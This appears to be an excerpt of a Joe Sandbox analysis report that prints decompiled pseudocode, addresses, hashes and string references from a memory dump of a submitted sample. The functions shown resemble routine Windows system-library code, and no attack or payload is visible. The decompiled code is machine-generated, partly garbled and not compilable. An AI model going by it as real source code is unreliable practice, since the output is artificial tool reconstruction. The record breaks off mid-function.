Instruction Fuzzy Hash: 4F713971A00649EFEB01CFA9C984BEEB7F9EF08744F144069E905E7251EB34E941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 34D0F42F Relevance: 1.4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E34D0F42F(short* __ecx, intOrPtr __edx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char* _v20;
				signed int _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				char _v44;
				char _v52;
				char _v60;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v72;
				signed int _v76;
				intOrPtr _v84;
				signed int _t48;
				signed int _t55;
				intOrPtr _t84;
				short _t87;
				intOrPtr _t89;
				void* _t97;
				intOrPtr _t98;
				signed int _t101;

				_t90 = __ecx;
				_v76 = _v76 & 0x00000000;
				_t87 = 0;
				_v72 = __edx;
				if(__ecx == 0 || __edx == 0 || _a4 == 0) {
					_t48 = 0xc000000d;
					goto L26;
				} else {
					if( *__ecx == 0x5c) {
						E34CC5050(__ecx,  &_v68, __ecx);
						L8:
						_v24 = _v24 & 0x00000000;
						_v12 = _v12 & 0x00000000;
						_v8 = _v8 & 0x00000000;
						_push(0x4021);
						_v20 =  &_v68;
						_push(7);
						_push( &_v52);
						_v28 = 0x18;
						_push( &_v28);
						_push(0x100001);
						_v16 = 0x40;
						_push( &_v76);
						_t55 = E34CC2CE0();
						_t101 = _t55;
						if(_t87 == 0) {
							L13:
							if(_t101 >= 0) {
								_t97 = E34C95D90(_t90,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0x410);
								if(_t97 != 0) {
									E34CC5050(_t90,  &_v60, _v72);
									_push(0);
									_push( &_v68);
									_push(1);
									_push(3);
									_push(0x410);
									_push(_t97);
									_push( &_v60);
									_push(0);
									_push(0);
									_push(0);
									_push(_v84);
									_t101 = E34CC2D00();
									if(_t101 >= 0) {
										_t66 =  *(_t97 + 0x3c);
										if( *(_t97 + 0x3c) <= 0x104) {
											_t89 = E34C95D90(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t66 + 4);
											if(_t89 != 0) {
												_t39 = _t97 + 0x5e; // 0x5e
												E34CC88C0(_t89, _t39,  *(_t97 + 0x3c));
												 *((short*)(_t89 + ( *(_t97 + 0x3c) >> 1) * 2)) = 0;
												 *_a4 = _t89;
											} else {
												_t101 = 0xc0000017;
											}
										}
									}
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t97);
								} else {
									_t101 = 0xc0000017;
								}
							}
							L22:
							if(_v76 != 0) {
								_push(_v76);
								E34CC2A80();
							}
							_t48 = _t101;
							L26:
							return _t48;
						}
						_t98 = _v32;
						if(_t98 != 0) {
							asm("lock xadd [edi], eax");
							if((_t55 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t98 + 4)));
								E34CC2A80();
								L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t98);
							}
						}
						L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t87);
						goto L13;
					}
					_push( &_v44);
					_push(0);
					_push( &_v68);
					_t90 = 2;
					_t101 = E34CA1C48(__ecx, __ecx);
					if(_t101 < 0) {
						goto L22;
					} else {
						_t84 = _v44;
						_t87 = _v64;
						if(_t84 != 0) {
							_v68 = _t84;
							_v64 = _v40;
						}
						goto L8;
					}
				}
			}

0x34d0f42f
0x34d0f43a
0x34d0f443
0x34d0f445
0x34d0f44c
0x34d0f607
0x00000000
0x34d0f463
0x34d0f467
0x34d0f4a9
0x34d0f4ae
0x34d0f4ae
0x34d0f4b7
0x34d0f4bc
0x34d0f4c1
0x34d0f4c6
0x34d0f4ce
0x34d0f4d0
0x34d0f4d5
0x34d0f4dd
0x34d0f4de
0x34d0f4e7
0x34d0f4ef
0x34d0f4f0
0x34d0f4f5
0x34d0f4f9
0x34d0f536
0x34d0f538
0x34d0f554
0x34d0f558
0x34d0f56d
0x34d0f578
0x34d0f579
0x34d0f57a
0x34d0f57c
0x34d0f57e
0x34d0f57f
0x34d0f584
0x34d0f585
0x34d0f586
0x34d0f587
0x34d0f588
0x34d0f591
0x34d0f595
0x34d0f597
0x34d0f59f
0x34d0f5b5
0x34d0f5b9
0x34d0f5c5
0x34d0f5ca
0x34d0f5d9
0x34d0f5e0
0x34d0f5bb
0x34d0f5bb
0x34d0f5bb
0x34d0f5b9
0x34d0f59f
0x34d0f5ee
0x34d0f55a
0x34d0f55a
0x34d0f55a
0x34d0f558
0x34d0f5f3
0x34d0f5f8
0x34d0f5fa
0x34d0f5fe
0x34d0f5fe
0x34d0f603
0x34d0f60c
0x34d0f612
0x34d0f612
0x34d0f4fb
0x34d0f501
0x34d0f506
0x34d0f50a
0x34d0f50c
0x34d0f50f
0x34d0f520
0x34d0f520
0x34d0f50a
0x34d0f531
0x00000000
0x34d0f531
0x34d0f46f
0x34d0f470
0x34d0f475
0x34d0f478
0x34d0f47e
0x34d0f482
0x00000000
0x34d0f488
0x34d0f488
0x34d0f48c
0x34d0f493
0x34d0f495
0x34d0f49d
0x34d0f49d
0x00000000
0x34d0f493
0x34d0f482

Strings

@, xrefs: 34D0F4E7

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 1270eafa4ad1ecb009350c71943b8a0e3ef1f833ee4d24814bbdd6f6672cbea9
Instruction ID: 874c7dab8615d60f0640c14b79413374cfe39dd15fa66f784f33fa745989e0f5
Opcode Fuzzy Hash: 1270eafa4ad1ecb009350c71943b8a0e3ef1f833ee4d24814bbdd6f6672cbea9
Instruction Fuzzy Hash: BE51ACB2604701AFE721CF14C848F6BB7E9FB84750F60492DB9409B2A0DBB4ED05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 34C9E547 Relevance: 1.4, Strings: 1, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E34C9E547(unsigned int __ecx, void* __edx, void* __eflags) {
				char _v24;
				char _v32;
				unsigned int _v36;
				short _v38;
				char _v40;
				signed int _v44;
				intOrPtr _v48;
				signed short _v50;
				unsigned int _v52;
				char _v56;
				char _v57;
				intOrPtr _v60;
				char _v61;
				char _v73;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				unsigned int _t47;
				intOrPtr _t51;
				void* _t55;
				char _t60;
				void* _t68;
				void* _t78;
				unsigned int _t81;
				unsigned int _t82;
				void* _t94;
				void* _t95;
				void* _t97;
				unsigned int _t99;
				short _t100;
				signed int _t101;
				void* _t103;

				_t82 = __ecx;
				_t103 = (_t101 & 0xfffffff8) - 0x2c;
				_v44 = _v44 & 0x00000000;
				_push(_t78);
				_push(_t97);
				_push(_t94);
				_push( &_v44);
				_push(0);
				_push(0x34c51050);
				E34C9F2F0(_t78, _t94, _t97, __eflags);
				_t95 = E34C8DE20(_t82, __eflags, _v56, 1, 0xd,  &_v52);
				if(_t95 == 0) {
					_t47 = 0;
					L15:
					return _t47;
				}
				_t99 = 0;
				_t81 = _v52 >> 5;
				_v44 =  *( *[fs:0x30] + 0x38);
				_v40 = 0;
				_v36 = 0;
				_v52 = 0;
				if(_t81 == 0) {
					L14:
					_t47 = _t99;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t51 =  *((intOrPtr*)(_t95 + 4));
					if(_t51 == 0) {
						break;
					}
					_push("true");
					_v48 = _t51 + _v56;
					_t55 = E34CC74B0(_t51 + _v56, "EXT-");
					_t103 = _t103 + 0xc;
					_t108 = _t55;
					if(_t55 != 0) {
						L11:
						_t95 = _t95 + 0x20;
						_t82 = _v52 + 1;
						_v52 = _t82;
						if(_t82 < _t81) {
							continue;
						}
						break;
					}
					E34CC5010(_t82,  &_v32, _v48);
					_t100 = E34C7ADA0(_t82, _t108,  &_v40);
					if(_t100 > (_v50 & 0x0000ffff)) {
						__eflags = _t100 - 0xfffe;
						if(_t100 >= 0xfffe) {
							_t99 = 0xc0000095;
							break;
						}
						__eflags = _v36;
						if(_v36 != 0) {
							L34C93B90( &_v40);
						}
						_t60 = E34C95D60(_t100);
						_v40 = _t60;
						__eflags = _t60;
						if(_t60 == 0) {
							_t99 = 0xc000009a;
							break;
						} else {
							_v38 = _t100;
							L6:
							E34C9C560( &_v40,  &_v32, 0);
							E34C9DF36(0,  &_v52, 0x14d0);
							_t99 = E34CA015C(_v60,  &_v56, 0,  &_v73,  &_v40);
							if(_t99 < 0 || _v57 == 0) {
								_t68 = 0x14d3;
							} else {
								_t68 = (0 | _v24 == 0x00000000) + 0x14d1;
							}
							E34C9DF36(0,  &_v40, _t68);
							if(_v61 != 0 && E34CA04C0(0x34c51174,  &_v24, 1) == 0) {
								_t99 = E34C9E4F8(_v56, _t95);
								__eflags = _t99;
								if(_t99 < 0) {
									break;
								}
								_t99 = 0;
							}
							goto L11;
						}
					}
					_v40 = 0;
					goto L6;
				}
				if(_v36 != 0) {
					L34C93B90( &_v40);
				}
				goto L14;
			}

0x34c9e547
0x34c9e54f
0x34c9e552
0x34c9e55b
0x34c9e55c
0x34c9e55d
0x34c9e55e
0x34c9e55f
0x34c9e561
0x34c9e566
0x34c9e57d
0x34c9e581
0x34c9e706
0x34c9e6b9
0x34c9e6bf
0x34c9e6bf
0x34c9e58d
0x34c9e593
0x34c9e599
0x34c9e59f
0x34c9e5a3
0x34c9e5a7
0x34c9e5ad
0x34c9e6b7
0x34c9e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x34c9e5b3
0x34c9e5b3
0x34c9e5b3
0x34c9e5b8
0x00000000
0x00000000
0x34c9e5c2
0x34c9e5ca
0x34c9e5ce
0x34c9e5d3
0x34c9e5d6
0x34c9e5d8
0x34c9e692
0x34c9e696
0x34c9e699
0x34c9e69a
0x34c9e6a0
0x00000000
0x00000000
0x00000000
0x34c9e6a0
0x34c9e5e7
0x34c9e5fb
0x34c9e5ff
0x34c9e6d5
0x34c9e6db
0x34c9e711
0x00000000
0x34c9e711
0x34c9e6dd
0x34c9e6e2
0x34c9e6e9
0x34c9e6e9
0x34c9e6ef
0x34c9e6f4
0x34c9e6f8
0x34c9e6fa
0x34c9e70a
0x00000000
0x34c9e6fc
0x34c9e6fc
0x34c9e60c
0x34c9e618
0x34c9e628
0x34c9e646
0x34c9e64a
0x34ce986f
0x34c9e65b
0x34c9e665
0x34c9e665
0x34c9e671
0x34c9e67b
0x34c9e6cb
0x34c9e6cd
0x34c9e6cf
0x00000000
0x00000000
0x34c9e6d1
0x34c9e6d1
0x00000000
0x34c9e67b
0x34c9e6fa
0x34c9e607
0x00000000
0x34c9e607
0x34c9e6ab
0x34c9e6b2
0x34c9e6b2
0x00000000

Strings

EXT-, xrefs: 34C9E5C4

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: 92efc0deea855b2d257489668ced53eb43d546c33c1275b4f12bcce5612fc091
Instruction ID: efdd66917f937017672b30b1b3286c4df222823fc927a9058e1b4104dc05bcbe
Opcode Fuzzy Hash: 92efc0deea855b2d257489668ced53eb43d546c33c1275b4f12bcce5612fc091
Instruction Fuzzy Hash: DC41CE72608715AFE710DE61C844FAFB7EAAF98754F440A2DF584E7180EB34CA048B97

Uniqueness

Uniqueness Score: -1.00%

Function 34CB41BB Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E34CB41BB(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = L34C958B0(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E34CC2CE0();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push("true");
						_push("true");
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E34CC2E40();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E34CC2A80();
							goto L11;
						} else {
							_t18 = _t82 + 0x18; // 0x982de01a
							_t109 = E34C95D90(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t109 + 0x18;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								_t29 =  &(_t103[2]); // 0x2004982d
								E34CC88C0(_t109 + 0x18,  *_t29,  *_t103 & 0x0000ffff);
								_push("true");
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t34 =  &(_t103[2]); // 0x2004982d
								_t100 = _t91 & 0xfffffffe;
								_pop(_t84);
								if( *((intOrPtr*)( *_t34 + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E34CC2A80();
										L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x34cb41cf
0x34cb41d5
0x34cb41dc
0x34cb41e3
0x34cb41ee
0x34cb41f0
0x34cb41f4
0x34cb41fc
0x34cb4204
0x34cb4209
0x34cb4211
0x34cb4212
0x34cb421b
0x34cb421f
0x34cb4220
0x34cb4228
0x34cb422c
0x34cb4230
0x34cb4239
0x34cb4240
0x34cb4247
0x34cb424e
0x34cf2e52
0x34cf2e52
0x34cb4254
0x34cb4254
0x34cb4256
0x34cb425c
0x34cb4261
0x34cb4262
0x34cb426b
0x34cb426f
0x34cf2e49
0x34cf2e49
0x34cf2e4d
0x00000000
0x34cb4275
0x34cb4275
0x34cb4289
0x34cb428d
0x34cf2e44
0x00000000
0x34cb4293
0x34cb429e
0x34cb42a5
0x34cb42ab
0x34cb42ae
0x34cb42b2
0x34cb42b5
0x34cb42bc
0x34cb42c0
0x34cb42d2
0x34cb42d4
0x34cb42db
0x34cb42df
0x34cb42e2
0x34cb42e7
0x34cb42ea
0x34cb42f0
0x34cb430b
0x34cf2e59
0x34cf2e5d
0x34cf2e6e
0x34cf2e73
0x34cb4311
0x34cb4314
0x34cb4322
0x34cb4327
0x00000000
0x34cb4327
0x34cb42f2
0x34cb42f2
0x34cb42f5
0x34cb42f7
0x34cb42f7
0x34cb42f0
0x34cb428d
0x34cb426f
0x34cb424e
0x34cb42ff

Strings

@, xrefs: 34CB4220

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c0e3eca1f6f8141910cf5131f1ecfd614971ec24af436a177c75329b0d2be675
Instruction ID: d9cbcd574ae4f0ff1466c1683e18e38ff400569b8aeb1b1346d3df01b97ac928
Opcode Fuzzy Hash: c0e3eca1f6f8141910cf5131f1ecfd614971ec24af436a177c75329b0d2be675
Instruction Fuzzy Hash: 41517A71604B10AFD320CF59C841A6BB7F9FF48710F00892EF995976A0E774E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 34D09429 Relevance: 1.4, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E34D09429(void* __edx) {
				intOrPtr _v8;
				signed short* _v12;
				void* __ecx;
				void* _t16;
				signed int _t17;
				intOrPtr _t20;
				void** _t21;
				signed int _t22;
				void* _t24;
				void** _t30;
				signed int _t31;
				void* _t35;
				void* _t36;
				intOrPtr _t37;
				void* _t38;
				void* _t39;
				intOrPtr _t42;
				signed int _t45;
				void* _t47;
				void* _t53;
				void* _t54;
				signed short* _t55;
				signed int _t60;
				signed short* _t65;
				void* _t66;
				void* _t67;

				_push(_t39);
				_push(_t39);
				_v8 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t53 = E34C95D90(_t39,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, "true");
				if(_t53 == 0) {
					L21:
					_t16 = 0xc0000017;
				} else {
					_t17 = 9;
					memset(_t53, 0, _t17 << 2);
					_t67 = _t66 + 0xc;
					_t42 =  *0x34c51b98; // 0x1a0018
					 *((intOrPtr*)(_t53 + 8)) = _t42;
					_t20 =  *0x34c51b9c; // 0x34c64444
					 *((intOrPtr*)(_t53 + 0xc)) = _t20;
					_t21 =  *0x34d75244; // 0x0
					if( *_t21 != 0x34d75240) {
						L20:
						_push(3);
						asm("int 0x29");
						goto L21;
					} else {
						 *_t53 = 0x34d75240;
						_t65 = 0x34d75000;
						 *(_t53 + 4) = _t21;
						 *_t21 = _t53;
						 *0x34d75244 = _t53;
						if( *0x34d75000 == 0) {
							L19:
							_t16 = 0;
						} else {
							_push("true");
							_pop(_t54);
							do {
								_t35 = 9;
								while(1) {
									_t22 =  *_t65 & 0x0000ffff;
									_t45 = _t22;
									if(_t22 != _t54 && _t22 != _t35) {
										break;
									}
									_t65 =  &(_t65[1]);
								}
								_t55 = _t65;
								_v12 = _t55;
								if(_t22 == 0) {
									goto L19;
								} else {
									_t60 = 9;
									_push("true");
									_pop(_t36);
									while(_t45 != _t36 && _t45 != _t60) {
										_t65 =  &(_t65[1]);
										_t31 =  *_t65 & 0x0000ffff;
										_t45 = _t31;
										if(_t31 != 0) {
											continue;
										}
										break;
									}
									_t37 = _v8;
									if(_t55 == _t65) {
										goto L19;
									} else {
										 *_t65 = 0;
										_t24 = E34CC79A0(_t55, L"verifier.dll");
										_pop(_t47);
										if(_t24 == 0) {
											goto L18;
										} else {
											_t38 = E34C95D90(_t47, _t37, 0, "true");
											if(_t38 == 0) {
												goto L21;
											} else {
												memset(_t38, 0, _t60 << 2);
												_t67 = _t67 + 0xc;
												E34CC5050(_t38 + 8, _t38 + 8, _v12);
												_t30 =  *0x34d75244; // 0x0
												if( *_t30 != 0x34d75240) {
													goto L20;
												} else {
													 *_t38 = 0x34d75240;
													 *(_t38 + 4) = _t30;
													 *_t30 = _t38;
													 *0x34d75244 = _t38;
													goto L18;
												}
											}
										}
									}
								}
								goto L22;
								L18:
								_t65 =  &(_t65[1]);
								_push("true");
								_pop(_t54);
							} while ( *_t65 != 0);
							goto L19;
						}
					}
				}
				L22:
				return _t16;
			}

0x34d0942e
0x34d0942f
0x34d09442
0x34d0944a
0x34d0944e
0x34d0955d
0x34d0955d
0x34d09454
0x34d09456
0x34d0945d
0x34d0945d
0x34d0945f
0x34d09465
0x34d0946d
0x34d09472
0x34d09475
0x34d0947c
0x34d09558
0x34d09558
0x34d0955b
0x00000000
0x34d09482
0x34d09482
0x34d09484
0x34d09489
0x34d0948c
0x34d09496
0x34d0949c
0x34d09554
0x34d09554
0x34d094a2
0x34d094a2
0x34d094a4
0x34d094a5
0x34d094a7
0x34d094a8
0x34d094a8
0x34d094ab
0x34d094b0
0x00000000
0x00000000
0x34d094b7
0x34d094b7
0x34d094bc
0x34d094be
0x34d094c4
0x00000000
0x34d094ca
0x34d094cc
0x34d094cd
0x34d094cf
0x34d094d0
0x34d094da
0x34d094dd
0x34d094e0
0x34d094e5
0x00000000
0x00000000
0x00000000
0x34d094e5
0x34d094e7
0x34d094ec
0x00000000
0x34d094ee
0x34d094f6
0x34d094f9
0x34d094ff
0x34d09502
0x00000000
0x34d09504
0x34d0950e
0x34d09512
0x00000000
0x34d09514
0x34d0951d
0x34d0951d
0x34d09523
0x34d09528
0x34d09534
0x00000000
0x34d09536
0x34d09536
0x34d09538
0x34d0953b
0x34d0953d
0x00000000
0x34d0953d
0x34d09534
0x34d09512
0x34d09502
0x34d094ec
0x00000000
0x34d09543
0x34d09543
0x34d09548
0x34d0954a
0x34d0954b
0x00000000
0x34d094a5
0x34d0949c
0x34d0947c
0x34d09562
0x34d09566

Strings

verifier.dll, xrefs: 34D094F0

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: verifier.dll
API String ID: 0-3265496382
Opcode ID: db5c1ca51bf1586fc6459848cc70621b1a7c6e72f0ca6506261ba307ed227d77
Instruction ID: c7f9a8cf58bf3be9694a6f543b5343203ae633bd2857bcbbc24a6f664f843534
Opcode Fuzzy Hash: db5c1ca51bf1586fc6459848cc70621b1a7c6e72f0ca6506261ba307ed227d77
Instruction Fuzzy Hash: 6931A5BA7002019FE7148F199874B667BE5FB89364F90C4AEE60ADF381E631CD818F54

Uniqueness

Uniqueness Score: -1.00%

Function 34CB7425 Relevance: 1.4, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E34CB7425(void* __ecx, void* __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int* _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				signed int _t72;
				void* _t75;
				intOrPtr _t76;
				void* _t77;
				signed int _t79;

				_v12 = _v12 & 0x00000000;
				_t77 = __edx;
				_t75 = __ecx;
				if(__edx == 0 || __ecx == 0) {
					L24:
					return 0xc000000d;
				} else {
					_t62 = _a4;
					if(_t62 == 0) {
						goto L24;
					}
					_v16 =  *_t62;
					_t64 = E34C95D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0xaa);
					_v20 = _t64;
					if(_t64 == 0) {
						return 0xc0000017;
					}
					_t45 =  *(_t77 + 6) & 0x0000ffff;
					if(( *(_t77 + 6) & 0x0000ffff) <= 0) {
						_v24 = _t64;
						_v28 = 0xaa0000;
						if(E34CA4F40( *(_t77 + 4) & 0x0000ffff,  &_v28) != 0) {
							L6:
							_t76 = _a8;
							_t66 = _a12;
							if( *_t62 <= 0 ||  *_t62 > _t66) {
								L8:
								_t72 = _v16;
								_t20 = _t72 + 1; // 0x1
								_t79 = _t20 + ((_v28 & 0x0000ffff) >> 1);
								if(_t76 != 0) {
									if(_t72 >= _t79) {
										goto L9;
									}
									if(_t79 >= _t66) {
										L10:
										if(_t76 != 0) {
											_v12 = 0xc0000023;
										}
										L11:
										 *_t62 = _t79;
										goto L12;
									}
									E34CC88C0(_t76 + _t72 * 2, _v24, _v28 & 0x0000ffff);
									 *((short*)(_t76 + _t79 * 2 - 2)) = 0;
									goto L11;
								}
								L9:
								if(_t79 < _t66) {
									goto L11;
								}
								goto L10;
							} else {
								if(E34CA2CEB(_v24,  *_t62) != 0) {
									L12:
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v20);
									return _v12;
								}
								_t66 = _a12;
								goto L8;
							}
						}
						_v12 = 0xc00000e5;
						goto L12;
					}
					E34CC5050( *( *((intOrPtr*)( *((intOrPtr*)(_t75 + 0x18)) + 0xc)) + _t45 * 2),  &_v28,  *((intOrPtr*)( *((intOrPtr*)(_t75 + 0x18)) + 0x10)) +  *( *((intOrPtr*)( *((intOrPtr*)(_t75 + 0x18)) + 0xc)) + _t45 * 2) * 2);
					goto L6;
				}
			}

0x34cb742d
0x34cb7433
0x34cb7436
0x34cb743a
0x34cf4439
0x00000000
0x34cb7448
0x34cb7448
0x34cb744d
0x00000000
0x00000000
0x34cb7455
0x34cb746e
0x34cb7470
0x34cb7475
0x00000000
0x34cf4417
0x34cb747b
0x34cb7482
0x34cb74f6
0x34cb74fe
0x34cb750c
0x34cb74a1
0x34cb74a4
0x34cb74a7
0x34cb74aa
0x34cb74b4
0x34cb74b4
0x34cb74bd
0x34cb74c0
0x34cb74c4
0x34cb7515
0x00000000
0x00000000
0x34cb7519
0x34cb74ca
0x34cb74cc
0x34cf442d
0x34cf442d
0x34cb74d2
0x34cb74d2
0x00000000
0x34cb74d2
0x34cb7527
0x34cb7531
0x00000000
0x34cb7531
0x34cb74c6
0x34cb74c8
0x00000000
0x00000000
0x00000000
0x34cb7538
0x34cb7546
0x34cb74d4
0x34cb74e3
0x00000000
0x34cb74e8
0x34cb7548
0x00000000
0x34cb7548
0x34cb74aa
0x34cf4421
0x00000000
0x34cf4421
0x34cb749c
0x00000000
0x34cb749c

Strings

#, xrefs: 34CF442D

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 6965cac1e13bd5fab6b18dc40a87e1d3c4b851185aea300bbcdbc7d08ff272ce
Instruction ID: 33de7480763763972517d59e329fcfad4dc0adb6c305393624ca4b6d171fee58
Opcode Fuzzy Hash: 6965cac1e13bd5fab6b18dc40a87e1d3c4b851185aea300bbcdbc7d08ff272ce
Instruction Fuzzy Hash: 3C41AE75A0462AEBEF158F88C880BAEBBB6EF40746F00445AEC85A7300DB349941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 34CB360F Relevance: 1.4, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E34CB360F(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _v60;
				intOrPtr* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				void* _v96;
				intOrPtr* _t41;
				intOrPtr* _t48;
				void* _t49;
				intOrPtr _t53;
				signed int _t55;
				void* _t58;
				intOrPtr* _t59;
				void* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr* _t66;
				intOrPtr* _t67;
				intOrPtr* _t68;
				intOrPtr _t69;
				void* _t72;
				intOrPtr* _t73;
				intOrPtr _t75;
				void* _t76;
				signed int _t80;

				_t69 = __edx;
				_t82 = (_t80 & 0xfffffff8) - 0x5c;
				_v8 =  *0x34d7b370 ^ (_t80 & 0xfffffff8) - 0x0000005c;
				_t41 = _a4;
				_v96 = _t41;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				if(_t41 == 0) {
					L23:
					_t75 = 0xc000000d;
					goto L10;
				} else {
					_t75 = 0;
					 *_t41 = 0;
					if(__edx == 0) {
						goto L23;
					} else {
						_t73 = __edx + 4;
						_t59 =  *_t73;
						while(_t59 != _t73) {
							_t68 = _t59 - 8;
							if( *_t68 != 0x74736c46) {
								_v72 = 1;
								_v68 = 1;
								_v88 = 1;
								_push( &_v92);
								_v84 = _t75;
								_v76 = 4;
								_v64 = _t73;
								_v60 = _t68;
								_v92 = 0xc0150015;
